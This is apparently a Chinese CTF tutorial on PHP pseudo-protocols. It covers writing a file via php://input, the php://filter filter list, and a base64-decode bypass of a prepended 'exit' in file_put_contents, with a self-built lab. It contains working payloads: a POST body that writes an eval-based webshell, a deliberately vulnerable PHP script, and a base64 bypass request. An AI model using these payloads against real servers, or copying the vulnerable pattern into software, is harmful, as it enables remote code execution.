如果遇到的环境有写入权限,可以使用php://input伪协议来写入木马
POST DATA <?php fputs(fopen('Sn0w.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?> php://filter各种过滤器
php://filter是一种元封装器,设计用来数据流打开时筛选过滤应用。
官方文档
对于php://来说,是支持多种过滤器嵌套的,格式如下:
php://filter/[read|write]=[过滤器1]|[过滤器2]/resource=文件名称(包含后缀名) #如果|被过滤掉了,可以使用多过滤器: php://filter/string.rot13/resource=php://filter/convert.base64-encode/resource=文件名称(包含后缀名) 嵌套过程的执行流程为从左到右其实是可以简写成这样的php://filter/[过滤器] ,php会自己进行识别。
过滤器列表如下:
过滤器名称 说明 类别 版本string.rot13 rot13转换 字符串过滤器 PHP>4.3.0
string.toupper、string.tolower 大小写互转 字符串过滤器 PHP>5.0.0
string.strip_tags 去除<?(.*?)?>的内容 string.strip_tags PHP<7.3.0
convert.base64-encode、convert.base64-decode base64编码转换 转换过滤器 PHP>5.0.0
convert.quoted-printable-encode、convert.quoted-printable-decode URL编码转换 转换过滤器 PHP>5.0.0
convert.iconv.编码1.编码2 任意编码转换 转换过滤器 PHP>5.0.0
zlib.deflate、zlib.inflate zlib压缩 压缩过滤器 PHP>5.1.0
bzip2.compress、bzip2.decompress zlib压缩 压缩过滤器 PHP>5.1.0
从上面的过滤器列表中便会发现,php伪协议主要支持以下几类:
字符串过滤器
string.strip_tags
转换过滤器
压缩过滤器
加密过滤器
PHP伪协议常用函数file_get_contents
file_put_contents
readfile
fopen
file
show_source
highlight_file
注意show_source有回显,而file_get_contents是没有回显的
file_put_content与死亡/杂糅代码
CTF经常类似考察这样的代码:
file_put_contents($filename,"<?php exit();".$content); file_put_contents($content,"<?php exit();".$content); file_put_contents($filename,$content . " xxxxxx");这种代码非常常见,在$content开头增加了exit进程,即使写入一句话,也无法执行,遇到这种问题一般的解决方法便是利用伪协议php://filter,结合编码或相应的过滤器进行绕过。绕过原理便是将死亡或者杂糅代码分解成为php无法进行识别的代码。
第一种情况这里自己先搭建一个环境,通过学习大师傅绕过的方法,自己也来实践一番
<?php if(isset($_GET['file'])){ $file = $_GET['file']; $content = $_POST['content']; file_put_contents($file,"<?php exit();".$content); }else{ highlight_file(__FILE__); }0x01:base64编码绕过
上面提到了绕过原理便是将死亡或者杂糅代码分解成为php无法进行识别的代码。
对于第一种情况便可以使用base64编码,因为base64只能打印64(a-z0-9A-Z)个可打印字符,PHP在解码base64时,如果遇到了不在其中的字符,便会跳过这些字符,然后将合法字符组成一个新的字符串再进行解码。当$content被加上了<?php exit; ?>以后,可以使用 php://filter/convert.base64-decode来首先对其解码。在解码的过程中,字符<、?、;、>、空格等不符合base64编码的字符范围将会被忽略,所以最终被解码的字符只有phpexit和传入的其他字符。
但是还要知道一点的是base64解码时是4个byte一组,上面正常解码的只有7个字符,所以再手动加上去1个字符a,凑齐8个字符即可
payload:
?file=php://filter/convert.base64-decode/resource=Sn0w.php DATA: content=aPD9waHAgcGhwaW5mbygpOz8+